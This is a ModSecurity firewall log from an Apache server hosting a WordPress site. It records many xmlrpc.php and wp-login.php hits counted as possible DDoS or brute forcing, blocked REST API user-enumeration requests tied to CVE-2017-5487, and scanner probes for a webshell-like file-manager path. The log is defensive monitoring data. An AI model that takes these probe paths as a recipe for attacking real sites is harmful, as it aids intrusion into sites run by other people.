[Tue Apr 14 19:51:07.278802 2026] [:error] [pid 59985:tid 60013] [client 155.133.142.66:50853] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4qK-gHaxkvLE6V1klVQQAAABQ"]
[Tue Apr 14 20:07:57.683857 2026] [:error] [pid 3778:tid 3794] [client 149.202.183.73:58332] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.183.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4uHRx5DfpNmYF_PaHR1QAAAU4"]
[Tue Apr 14 20:09:40.433852 2026] [:error] [pid 59987:tid 60067] [client 81.8.91.201:58940] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4uhFWpk-Tfi6_vLKoloAAAAJQ"]
[Tue Apr 14 20:13:45.418030 2026] [:error] [pid 3778:tid 3782] [client 82.223.70.218:43398] [client 82.223.70.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.70.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4veRx5DfpNmYF_PaHUFAAAAUI"]
[Tue Apr 14 20:17:35.300641 2026] [:error] [pid 60074:tid 60082] [client 164.132.207.73:56036] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4wX-tqnEmNU9vpHCmONQAAAMY"]
[Tue Apr 14 20:19:31.401195 2026] [:error] [pid 3778:tid 3797] [client 176.84.78.251:62768] [client 176.84.78.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.84.78.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4w0xx5DfpNmYF_PaHWAAAAAVE"]
[Tue Apr 14 20:21:27.899006 2026] [:error] [pid 59986:tid 60021] [client 104.248.23.4:51982] [client 104.248.23.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.248.23.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4xR56axKeW6bX4H7dW7AAAAEE"]
[Tue Apr 14 20:22:10.701465 2026] [:error] [pid 60074:tid 60079] [client 176.84.78.251:49279] [client 176.84.78.251] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ad4xcutqnEmNU9vpHCmP1QAAAMM"]
[Tue Apr 14 20:23:08.535884 2026] [:error] [pid 59987:tid 60050] [client 176.84.78.251:50288] [client 176.84.78.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.84.78.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4xrFWpk-Tfi6_vLKopoAAAAIM"]
[Tue Apr 14 20:25:10.898051 2026] [:error] [pid 59986:tid 60022] [client 159.89.91.236:32870] [client 159.89.91.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.91.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4yJp6axKeW6bX4H7dZMwAAAEI"]
[Tue Apr 14 20:26:04.235061 2026] [:error] [pid 3778:tid 3796] [client 143.198.154.102:40768] [client 143.198.154.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.154.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4yXBx5DfpNmYF_PaHYLAAAAVA"]
[Tue Apr 14 20:31:31.265467 2026] [:error] [pid 59986:tid 60040] [client 209.42.22.188:60532] [client 209.42.22.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.42.22.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4zo56axKeW6bX4H7dcvQAAAFQ"]
[Tue Apr 14 20:31:56.846606 2026] [:error] [pid 3810:tid 3821] [client 156.67.24.219:51830] [client 156.67.24.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.24.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4zvMqc5XaYZhFXVGeN0wAAAYg"]
[Tue Apr 14 20:33:15.813681 2026] [:error] [pid 59986:tid 60038] [client 139.99.122.191:46880] [client 139.99.122.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.99.122.191, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad40C56axKeW6bX4H7dd5gAAAFI"]
[Tue Apr 14 20:35:14.225415 2026] [:error] [pid 3810:tid 3822] [client 198.58.96.57:47788] [client 198.58.96.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.58.96.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad40gsqc5XaYZhFXVGeOpgAAAYk"]
[Tue Apr 14 20:42:46.082717 2026] [:error] [pid 3810:tid 3825] [client 159.223.217.167:50388] [client 159.223.217.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.217.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad42Rsqc5XaYZhFXVGeRqwAAAYw"]
[Tue Apr 14 20:45:32.368109 2026] [:error] [pid 59987:tid 60059] [client 160.250.187.3:35680] [client 160.250.187.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.187.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad427FWpk-Tfi6_vLKouuQAAAIw"]
[Tue Apr 14 20:48:00.805578 2026] [:error] [pid 59986:tid 60032] [client 5.196.202.32:55138] [client 5.196.202.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.196.202.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad43gJ6axKeW6bX4H7dnMgAAAEw"]
[Tue Apr 14 20:55:00.823326 2026] [:error] [pid 59986:tid 60031] [client 212.7.160.134:52306] [client 212.7.160.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.7.160.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad45JJ6axKeW6bX4H7dr8gAAAEs"]
[Tue Apr 14 20:58:30.103950 2026] [:error] [pid 22177:tid 22186] [client 68.183.124.132:59104] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad459oTVeJSXHDIlEDuDhgAAAQc"]
[Tue Apr 14 21:16:20.690399 2026] [:error] [pid 59986:tid 60023] [client 150.95.26.37:54472] [client 150.95.26.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.95.26.37, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4-JJ6axKeW6bX4H7d5-AAAAEM"]
[Tue Apr 14 21:16:48.091609 2026] [:error] [pid 59985:tid 60010] [client 185.23.117.167:57586] [client 185.23.117.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.23.117.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4-QOgHaxkvLE6V1klj4gAAABE"]
[Tue Apr 14 21:17:22.498085 2026] [:error] [pid 59986:tid 60036] [client 66.29.147.6:48676] [client 66.29.147.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.147.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4-Yp6axKeW6bX4H7d6ZQAAAFA"]
[Tue Apr 14 21:22:09.980360 2026] [:error] [pid 3778:tid 3803] [client 51.159.214.31:35090] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4_gRx5DfpNmYF_PaHrGwAAAVc"]
[Tue Apr 14 21:28:28.615779 2026] [:error] [pid 22177:tid 22199] [client 77.95.113.65:36018] [client 77.95.113.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.95.113.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5A_ITVeJSXHDIlEDuKCwAAARQ"]
[Tue Apr 14 21:29:38.385345 2026] [:error] [pid 3810:tid 3831] [client 148.251.19.42:36616] [client 148.251.19.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.19.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5BQsqc5XaYZhFXVGepiQAAAZI"]
[Tue Apr 14 21:31:58.069725 2026] [:error] [pid 60074:tid 60090] [client 104.168.115.206:38046] [client 104.168.115.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.168.115.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5BzutqnEmNU9vpHCmqYQAAAM4"]
[Tue Apr 14 21:44:25.929494 2026] [:error] [pid 3810:tid 3822] [client 141.94.27.49:59334] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5Eucqc5XaYZhFXVGexigAAAYk"]
[Tue Apr 14 21:46:30.248636 2026] [:error] [pid 59987:tid 60059] [client 20.151.227.112:31089] [client 20.151.227.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad5FNlWpk-Tfi6_vLKo-zwAAAIw"]
[Tue Apr 14 21:46:30.858345 2026] [:error] [pid 59987:tid 60062] [client 20.151.227.112:31046] [client 20.151.227.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad5FNlWpk-Tfi6_vLKo-0QAAAI8"]
[Tue Apr 14 21:46:31.545322 2026] [:error] [pid 59987:tid 60049] [client 20.151.227.112:31103] [client 20.151.227.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad5FN1Wpk-Tfi6_vLKo-0wAAAII"]
[Tue Apr 14 21:46:31.985707 2026] [:error] [pid 59987:tid 60066] [client 20.151.227.112:31077] [client 20.151.227.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad5FN1Wpk-Tfi6_vLKo-1AAAAJM"]
[Tue Apr 14 21:50:04.784320 2026] [:error] [pid 59985:tid 60005] [client 54.36.209.212:58430] [client 54.36.209.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.209.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5GDOgHaxkvLE6V1klqlQAAAAw"]
[Tue Apr 14 21:53:58.945535 2026] [:error] [pid 3778:tid 3803] [client 20.218.128.24:47638] [client 20.218.128.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.218.128.24, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5G9hx5DfpNmYF_PaH0wQAAAVc"]
[Tue Apr 14 21:59:49.880789 2026] [:error] [pid 59986:tid 60028] [client 13.235.96.22:53218] [client 13.235.96.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.235.96.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5IVZ6axKeW6bX4H7eS_wAAAEg"]
[Tue Apr 14 22:00:39.668001 2026] [:error] [pid 59986:tid 60034] [client 160.250.187.3:42032] [client 160.250.187.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.187.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5Ih56axKeW6bX4H7eTRQAAAE4"]
[Tue Apr 14 22:06:29.385603 2026] [:error] [pid 3778:tid 3781] [client 212.47.74.48:50292] [client 212.47.74.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.74.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5J5Rx5DfpNmYF_PaH4awAAAUE"]
[Tue Apr 14 22:14:25.446810 2026] [:error] [pid 59986:tid 60028] [client 137.74.43.174:33784] [client 137.74.43.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.74.43.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5LwZ6axKeW6bX4H7edhgAAAEg"]
[Tue Apr 14 22:15:11.380647 2026] [:error] [pid 3810:tid 3832] [client 85.215.188.44:52506] [client 85.215.188.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.215.188.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5L78qc5XaYZhFXVGe_bAAAAZM"]
[Tue Apr 14 22:33:03.098153 2026] [:error] [pid 59987:tid 60065] [client 158.69.220.86:54936] [client 158.69.220.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.69.220.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5QH1Wpk-Tfi6_vLKpJ9AAAAJI"]
[Tue Apr 14 22:33:03.401473 2026] [:error] [pid 59987:tid 60052] [client 143.198.154.102:60626] [client 143.198.154.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.154.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5QH1Wpk-Tfi6_vLKpJ9gAAAIU"]
[Tue Apr 14 22:36:56.283889 2026] [:error] [pid 3810:tid 3832] [client 109.176.198.138:53244] [client 109.176.198.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.176.198.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5RCMqc5XaYZhFXVGfIBwAAAZM"]
[Tue Apr 14 22:37:17.078491 2026] [:error] [pid 22177:tid 22199] [client 35.242.254.186:59226] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.254.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5RHYTVeJSXHDIlEDuZMQAAARQ"]
[Tue Apr 14 22:43:26.073721 2026] [:error] [pid 59987:tid 60070] [client 138.2.231.152:37326] [client 138.2.231.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.2.231.152, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5SjlWpk-Tfi6_vLKpMOgAAAJc"]
[Tue Apr 14 22:52:05.446215 2026] [:error] [pid 60074:tid 60098] [client 144.76.199.240:58364] [client 144.76.199.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.76.199.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5UletqnEmNU9vpHCnHlAAAANY"]
[Tue Apr 14 22:56:04.782092 2026] [:error] [pid 60074:tid 60089] [client 79.117.194.20:47372] [client 79.117.194.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.117.194.20, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VhOtqnEmNU9vpHCnInQAAAM0"], referer: https://www.bing.com/
[Tue Apr 14 22:56:21.575284 2026] [:error] [pid 3810:tid 3817] [client 31.201.219.66:19354] [client 31.201.219.66] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ad5Vlcqc5XaYZhFXVGfPMQAAAYQ"], referer: https://www.google.com/search?q=wordpress
[Tue Apr 14 22:56:22.030086 2026] [:error] [pid 3778:tid 3800] [client 212.55.193.47:48030] [client 212.55.193.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.55.193.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5Vlhx5DfpNmYF_PaEGygAAAVQ"]
[Tue Apr 14 22:56:23.006971 2026] [:error] [pid 59986:tid 60031] [client 96.20.150.52:40490] [client 96.20.150.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 96.20.150.52, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vl56axKeW6bX4H7ezLQAAAEs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:24.025057 2026] [:error] [pid 60074:tid 60088] [client 195.28.150.252:17053] [client 195.28.150.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.28.150.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VmOtqnEmNU9vpHCnIrwAAAMw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:24.148211 2026] [:error] [pid 59986:tid 60029] [client 96.20.150.52:40490] [client 96.20.150.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 96.20.150.52, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VmJ6axKeW6bX4H7ezLwAAAEk"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:25.146649 2026] [:error] [pid 60074:tid 60085] [client 195.28.150.252:17053] [client 195.28.150.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.28.150.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VmetqnEmNU9vpHCnIsQAAAMk"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:25.349438 2026] [:error] [pid 59986:tid 60034] [client 96.20.150.52:40490] [client 96.20.150.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 96.20.150.52, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VmZ6axKeW6bX4H7ezMQAAAE4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:26.216041 2026] [:error] [pid 60074:tid 60076] [client 195.28.150.252:17053] [client 195.28.150.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.28.150.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VmutqnEmNU9vpHCnIswAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:26.524449 2026] [:error] [pid 59986:tid 60039] [client 96.20.150.52:40490] [client 96.20.150.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 96.20.150.52, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vmp6axKeW6bX4H7ezMgAAAFM"], referer: https://rcacivilgroup.com/wp-login.php
